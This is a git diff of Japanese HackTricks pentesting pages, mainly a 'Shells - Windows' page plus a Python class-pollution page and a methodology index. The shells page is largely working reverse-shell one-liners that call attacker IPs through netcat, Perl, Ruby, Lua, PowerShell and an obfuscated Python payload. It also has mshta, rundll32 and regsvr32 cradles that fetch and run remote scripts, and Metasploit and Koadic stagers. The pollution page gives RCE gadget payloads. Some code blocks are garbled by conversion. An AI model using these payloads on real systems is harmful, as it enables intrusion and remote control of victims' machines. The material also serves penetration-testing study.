* \*\*💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出**する
</details>

View file

@ -1,4 +1,4 @@
# ペンテスト手法
# Pentesting Methodology
<details>
@ -6,15 +6,15 @@
HackTricksをサポートする他の方法
- **会社をHackTricksで宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
- **ハッキングトリックを共有するために、HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出する
* **会社をHackTricksで宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* \*\*💬 [Discordグループ](https://discord.gg/hRep4RUj7f)\*\*に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
* **ハッキングトリックを共有するために、HackTricks**の[**GitHubリポジトリ**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出する
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="https://github.com/carlospolop/hacktricks/blob/jp/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
**ハッキングキャリア**に興味がある方、**解読不能なものをハックしたい方** - **採用中です!**_流暢なポーランド語の読み書きが必要です_
@ -28,7 +28,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
### 0- 物理攻撃
攻撃したいマシンに**物理アクセス**がありますか?[**物理攻撃に関するトリック**](../physical-attacks/physical-attacks.md)や[**GUIアプリケーションからの脱出**](../physical-attacks/escaping-from-gui-applications/)について読むべきです。
攻撃したいマシンに**物理アクセス**がありますか?[**物理攻撃に関するトリック**](../hardware-physical-access/physical-attacks.md)や[**GUIアプリケーションからの脱出**](../hardware-physical-access/escaping-from-gui-applications.md)について読むべきです。
### 1 - [ネットワーク内のホストの発見](pentesting-network/#discovering-hosts)/ [企業の資産の発見](external-recon-methodology/)
@ -49,7 +49,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
### **4-** [サービスバージョンの脆弱性を検索](search-exploits.md)
実行されているサービスとそのバージョンを知ったら、**既知の脆弱性を検索する必要があります。**運が良ければ、シェルを提供する脆弱性が見つかるかもしれません...
実行されているサービスとそのバージョンを知ったら、\*\*既知の脆弱性を検索する必要があります。\*\*運が良ければ、シェルを提供する脆弱性が見つかるかもしれません...
### **5-** サービスのペンテスト
@ -72,7 +72,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
### 6- [フィッシング](phishing-methodology/)
この時点で興味深い脆弱性が見つからない場合、**ネットワーク内に入るためにいくつかのフィッシングを試す必要があるかもしれません。**フィッシング手法については、[こちら](phishing-methodology/)を読んでください。
この時点で興味深い脆弱性が見つからない場合、\*\*ネットワーク内に入るためにいくつかのフィッシングを試す必要があるかもしれません。\*\*フィッシング手法については、[こちら](phishing-methodology/)を読んでください。
### **7-** [**シェルの取得**](shells/)
@ -84,13 +84,14 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
シェルで問題が発生した場合、ペンテスターにとって非常に便利な**最も有用なコマンドの小さなコンパイル**がここにあります:
- [**Linux**](../linux-hardening/useful-linux-commands/)
- [**WindowsCMD**](../windows-hardening/basic-cmd-for-pentesters.md)
- [**WindowsPS**](../windows-hardening/basic-powershell-for-pentesters/)
* [**Linux**](../linux-hardening/useful-linux-commands.md)
* [**WindowsCMD**](../windows-hardening/basic-cmd-for-pentesters.md)
* [**WindowsPS**](../windows-hardening/basic-powershell-for-pentesters/)
### **9 -** [**エクスフィルトレーション**](exfiltration.md)
おそらく、**被害者からデータを抽出**する必要があるか、特権昇格スクリプトなどを**導入**する必要があるでしょう。これらの目的に使用できる**一般的なツールについてのポスト**が[こちら](exfiltration.md)**にあります。**
### **10- 特権昇格**
#### **10.1- ローカル特権昇格**
@ -99,9 +100,9 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
ここでは、[**Linux**](../linux-hardening/privilege-escalation/) **および** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **でローカルに特権昇格する方法についてのガイドが見つかります。**\
また、以下のWindowsの動作に関するページもチェックする必要があります:
* [**認証、資格情報、トークン特権、およびUAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
* [**認証、資格情報、トークン特権、およびUAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
* [**NTLMの動作**](../windows-hardening/ntlm/)
* Windowsでの[**資格情報の盗み出し**](broken-reference/)
* Windowsでの[**資格情報の盗み出し**](https://github.com/carlospolop/hacktricks/blob/jp/generic-methodologies-and-resources/broken-reference/README.md)
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)に関するトリック
**WindowsとLinuxのローカル特権昇格パスを列挙するための最適なツールを確認するのを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
@ -115,12 +116,12 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
#### **11**.1 - ルーティング
ホスト内でさらに**パスワード**を見つけることができるか、または**ユーザーの権限で他のマシンにアクセス**できるかを確認してください。\
ここでは、[**Windowsでのパスワードのダンプ方法**](broken-reference/)が異なる方法で見つかります。
ここでは、[**Windowsでのパスワードのダンプ方法**](https://github.com/carlospolop/hacktricks/blob/jp/generic-methodologies-and-resources/broken-reference/README.md)が異なる方法で見つかります。
#### 11.2 - 持続性
**システムを再度攻撃する必要がないように、2つまたは3つの異なるタイプの持続性メカニズムを使用してください。**\
**ここでは、[**Active Directoryでの持続性トリック**](../windows-hardening/active-directory-methodology/#persistence)が見つかります。**
**ここでは、**[**Active Directoryでの持続性トリック**](../windows-hardening/active-directory-methodology/#persistence)**が見つかります。**
TODO: WindowsとLinuxでの持続性ポストを完了する
@ -137,17 +138,17 @@ Windows環境でのピボットに非常に役立つ可能性がある[**NTLM**]
#### **Exploiting**
* [**基本的なLinux Exploiting**](../exploiting/linux-exploiting-basic-esp/)
* [**基本的なWindows Exploiting**](../exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
* [**基本的なExploitingツール**](../exploiting/tools/)
* [**基本的なLinux Exploiting**](../reversing-and-exploiting/linux-exploiting-basic-esp/)
* [**基本的なWindows Exploiting**](../reversing-and-exploiting/windows-exploiting-basic-guide-oscp-lvl.md)
* [**基本的なExploitingツール**](../reversing-and-exploiting/tools/)
#### [**基本的なPython**](python/)
#### **暗号トリック**
* [**ECB**](../cryptography/electronic-code-book-ecb.md)
* [**CBC-MAC**](../cryptography/cipher-block-chaining-cbc-mac-priv.md)
* [**パディングオラクル**](../cryptography/padding-oracle-priv.md)
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**パディングオラクル**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>

File diff suppressed because one or more lines are too long

View file

@ -1,4 +1,4 @@
# クラスの汚染Pythonのプロトタイプ汚染
# Class Pollution (Python's Prototype Pollution)
<details>
@ -9,7 +9,7 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に **参加** または **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) **をフォロー** してください。
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に **参加** または **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) **をフォロー** してください。
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出して **ハッキングテクニックを共有** してください。
</details>
@ -17,6 +17,7 @@ HackTricks をサポートする他の方法:
## 基本的な例
文字列でオブジェクトのクラスを汚染する方法を確認してください:
```python
class Company: pass
class Developer(Company): pass
@ -40,7 +41,9 @@ e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company'
print(d) #<__main__.Polluted_Developer object at 0x1041d2b80>
print(c) #<__main__.Polluted_Company object at 0x1043a72b0>
```
## 基本的な脆弱性の例
```python
# Initial state
class Employee: pass
@ -73,57 +76,36 @@ USER_INPUT = {
merge(USER_INPUT, emp)
print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}}
```
## ガジェットの例
<details>
<summary>クラスプロパティのデフォルト値をRCEサブプロセスに設定する</summary>
```python
from os import popen
class Employee: pass # Creating an empty class
class HR(Employee): pass # Class inherits from Employee class
class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class
def execute_command(self):
command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there'
return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
\`\`\`python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class
class SystemAdmin(Employee): # Class inherits from Employee class def execute\_command(self): command = self.custom\_command if hasattr(self, 'custom\_command') else 'echo Hello there' return f'\[!] Executing: "{command}", output: "{popen(command).read().strip()}"'
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
USER_INPUT = {
"__class__":{
"__base__":{
"__base__":{
"custom_command": "whoami"
}
}
}
}
## Recursive merge function
recruiter_emp = Recruiter()
system_admin_emp = SystemAdmin()
for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
print(system_admin_emp.execute_command())
#> [!] Executing: "echo Hello there", output: "Hello there"
USER\_INPUT = { "**class**":{ "**base**":{ "**base**":{ "custom\_command": "whoami" } } } }
# Create default value for Employee.custom_command
merge(USER_INPUT, recruiter_emp)
recruiter\_emp = Recruiter() system\_admin\_emp = SystemAdmin()
print(system_admin_emp.execute_command())
#> [!] Executing: "whoami", output: "abdulrah33m"
```
print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "echo Hello there", output: "Hello there"
## Create default value for Employee.custom\_command
merge(USER\_INPUT, recruiter\_emp)
print(system\_admin\_emp.execute\_command()) #> \[!] Executing: "whoami", output: "abdulrah33m"
````
</details>
<details>
@ -155,39 +137,33 @@ merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Pollut
print(not_accessible_variable) #> Polluted variable
print(NotAccessibleClass) #> <class '__main__.PollutedClass'>
```
````
</details>
<details>
<summary>任意のサブプロセスの実行</summary>
```python
import subprocess, json
class Employee:
def __init__(self):
pass
\`\`\`python import subprocess, json
class Employee: def **init**(self): pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
# Overwrite env var "COMSPEC" to execute a calc
USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value
## Recursive merge function
merge(USER_INPUT, Employee())
for k, v in src.items(): if hasattr(dst, '**getitem**'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst\[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)
## Overwrite env var "COMSPEC" to execute a calc
USER\_INPUT = json.loads('{"**init**":{"**globals**":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"\}}\}}\}}') # attacker-controlled value
merge(USER\_INPUT, Employee())
subprocess.Popen('whoami', shell=True) # Calc.exe will pop up
```
````
</details>
<details>
@ -230,19 +206,22 @@ merge(emp_info, Employee())
print(execute.__kwdefaults__) #> {'command': 'echo Polluted'}
execute() #> Executing echo Polluted
#> Polluted
```
````
</details>
<details>
<summary>別ファイルでFlaskのsecretを上書きする</summary>
したがって、WebのメインPythonファイルで定義されたオブジェクトにクラスポリューションを行うことができますが、**そのクラスがメインファイルとは異なるファイルで定義されています**。前述のペイロードで\_\_globals\_\_にアクセスするには、オブジェクトのクラスまたはクラスのメソッドにアクセスする必要があるため、**そのファイルのグローバルにアクセスできますが、メインファイルではできません**。 \
したがって、WebのメインPythonファイルで定義されたオブジェクトにクラスポリューションを行うことができますが、**そのクラスがメインファイルとは異なるファイルで定義されています**。前述のペイロードで\_\_globals\_\_にアクセスするには、オブジェクトのクラスまたはクラスのメソッドにアクセスする必要があるため、**そのファイルのグローバルにアクセスできますが、メインファイルではできません**。\
したがって、メインページで**secret key**を定義したFlaskアプリのグローバルオブジェクトにアクセスすることはできません
```python
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
```
このシナリオでは、メインファイルにアクセスしてFlaskのシークレットキーを変更し、このキーを知ることで特権を昇格させるために、ファイルをトラバースするガジェットが必要です。
このようなペイロードは、[この解説](https://ctftime.org/writeup/36082)から取得できます:
@ -276,7 +255,7 @@ HackTricksをサポートする他の方法
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスワッグ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)で**フォロー**してください。
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**または**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**で**フォロー\*\*してください。
* **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有してください。 [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)
</details>

View file

@ -1,4 +1,4 @@
# シェル - Windows
# Shells - Windows
<details>
@ -9,14 +9,14 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローする**
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f) **または** [**telegramグループ**](https://t.me/peass) **に参加するか、Twitter 🐦** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) **をフォローする**
* **ハッキングトリックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **と** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -28,12 +28,15 @@ HackTricks をサポートする他の方法:
明らかに、**WindowsにはSUIDファイルやsudo権限はありません**が、いくつかの **バイナリ** が **任意のコードを実行する**などの予期しないアクションを実行する方法を知っていると便利です。
## NC
```bash
nc.exe -e cmd.exe <Attacker_IP> <PORT>
```
## SBD
**[sbd](https://www.kali.org/tools/sbd/)は、携帯可能で安全なNetcatの代替です**。UnixライクなシステムとWin32で動作します。強力な暗号化、プログラムの実行、カスタマイズ可能なソースポート、継続的な再接続などの機能を備えており、TCP/IP通信のための多目的なソリューションを提供します。Windowsユーザーにとって、Kali Linuxディストリビューションからのsbd.exeバージョンは、Netcatの信頼性のある代替として使用できます。
[**sbd**](https://www.kali.org/tools/sbd/)**は、携帯可能で安全なNetcatの代替です**。UnixライクなシステムとWin32で動作します。強力な暗号化、プログラムの実行、カスタマイズ可能なソースポート、継続的な再接続などの機能を備えており、TCP/IP通信のための多目的なソリューションを提供します。Windowsユーザーにとって、Kali Linuxディストリビューションからのsbd.exeバージョンは、Netcatの信頼性のある代替として使用できます。
```bash
# Victims machine
sbd -l -p 4444 -e bash -v -n
@ -45,40 +48,52 @@ sbd 10.10.10.10 4444
id
uid=0(root) gid=0(root) groups=0(root)
```
## Python
## パイソン
```bash
#Windows
C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try', (), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"
```
## Perl
Perlは、Windowsシステムで使用されることが多いスクリプト言語です。Perlスクリプトを使用して、Windowsシステムでのシェルアクセスを確立することができます。Perlスクリプトを使用すると、Windowsシステムでの様々な操作を自動化することが可能です。
```bash
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
```
## ルビー
```bash
#Windows
ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
```
## Lua
Luaは、スクリプト言語であり、多くのプラットフォームで使用されています。Luaは、高い拡張性と柔軟性を持ち、組み込みシステムから大規模なアプリケーションまで幅広い用途に使用されています。Luaは、シンプルで直感的な構文を持ち、C言語との統合も容易です。Luaスクリプトは、さまざまな用途に使用され、特にゲーム開発やウェブ開発などの分野で人気があります。Luaは、多くのオープンソースプロジェクトで広く採用されており、コミュニティによって活発にサポートされています。
```bash
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
```
## OpenSSH
攻撃者Kali
```bash
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
```
被害者
```bash
#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
@ -86,32 +101,40 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
```
## Powershell
PowerShellは、Windowsシステムで広く使用されているスクリプト言語およびシェルフレームワークです。 PowerShellを使用すると、システム管理者は自動化されたタスクやスクリプトを作成し、Windowsシステム上での様々な操作を効率的に実行できます。 PowerShellは、Windowsの機能を活用してシステムに対する深い制御を提供します。
```bash
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadString('http://10.222.0.26:8000/ipst.ps1')"
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
```
ネットワークコールを実行するプロセス: **powershell.exe**\
ディスクに書き込まれたペイロード: **NO** (_少なくともprocmonを使用して見つけられる場所にはない_)
```bash
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
```
ネットワークコールを実行するプロセス: **svchost.exe**\
ディスクに書き込まれたペイロード: **WebDAVクライアントローカルキャッシュ**
**ワンライナー:**
```bash
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
```
**このドキュメントの最後にさまざまなPowerShellシェルに関する詳細情報を取得してください**
## Mshta
* [ここから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
mshta vbscript:Close(Execute("GetObject(""script:http://webserver/payload.sct"")"))
```
@ -123,15 +146,19 @@ mshta http://webserver/payload.hta
```bash
mshta \\webdavserver\folder\payload.hta
```
#### **hta-pshリバースシェルの例htaを使用してPSバックドアをダウンロードおよび実行**
```xml
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
```
**Koadicゾンビをステージャーhtaを使用して非常に簡単にダウンロードして実行できます**
#### htaの例
[**ここから**](https://gist.github.com/Arno0x/91388c94313b70a9819088ddf760683f)
```xml
<html>
<head>
@ -146,9 +173,11 @@ new ActiveXObject('WScript.Shell').Run(c);
</body>
</html>
```
#### **mshta - sct**
[**ここから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
```xml
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
@ -164,9 +193,11 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</scriptlet>
```
#### **Mshta - Metasploit**
Mshta is a tool in Metasploit that allows execution of HTA (HTML Application) files. It can be used to run malicious scripts on a target system.
```bash
use exploit/windows/misc/hta_server
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
@ -177,16 +208,15 @@ msf exploit(windows/misc/hta_server) > exploit
```bash
Victim> mshta.exe //192.168.1.109:8080/5EEiDSd70ET0k.hta #The file name is given in the output of metasploit
```
**Defenderによって検出されました**
## **Rundll32**
[**Dll hello world example**](https://github.com/carterjones/hello-world-dll)
* [こちらから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
rundll32 \\webdavserver\folder\payload.dll,entrypoint
```
@ -194,11 +224,13 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint
```bash
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close();
```
**Defenderによって検出されました**
**Rundll32 - sct**
[**こちらから**](https://gist.github.com/Arno0x/e472f58f3f9c8c0c941c83c58f254e17)
```xml
<?XML version="1.0"?>
<!-- rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";o=GetObject("script:http://webserver/scriplet.sct");window.close(); -->
@ -213,13 +245,17 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
</script>
</scriptlet>
```
#### **Rundll32 - Metasploit**
```bash
use windows/smb/smb_delivery
run
#You will be given the command to run in the victim: rundll32.exe \\10.2.0.5\Iwvc\test.dll,0
```
**Rundll32 - Koadic**
```bash
use stager/js/rundll32_js
set SRVHOST 192.168.1.107
@ -228,9 +264,11 @@ run
#Koadic will tell you what you need to execute inside the victim, it will be something like:
rundll32.exe javascript:"\..\mshtml, RunHTMLApplication ";x=new%20ActiveXObject("Msxml2.ServerXMLHTTP.6.0");x.open("GET","http://10.2.0.5:9997/ownmG",false);x.send();eval(x.responseText);window.close();
```
## Regsvr32
* [ここから](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/)
```bash
regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
@ -238,11 +276,13 @@ regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll
```
regsvr32 /u /n /s /i:\\webdavserver\folder\payload.sct scrobj.dll
```
**Defenderによって検出されました**
#### Regsvr32 -sct
[**こちらから**](https://gist.github.com/Arno0x/81a8b43ac386edb7b437fe1408b15da1)
```markup
<?XML version="1.0"?>
<!-- regsvr32 /u /n /s /i:http://webserver/regsvr32.sct scrobj.dll -->
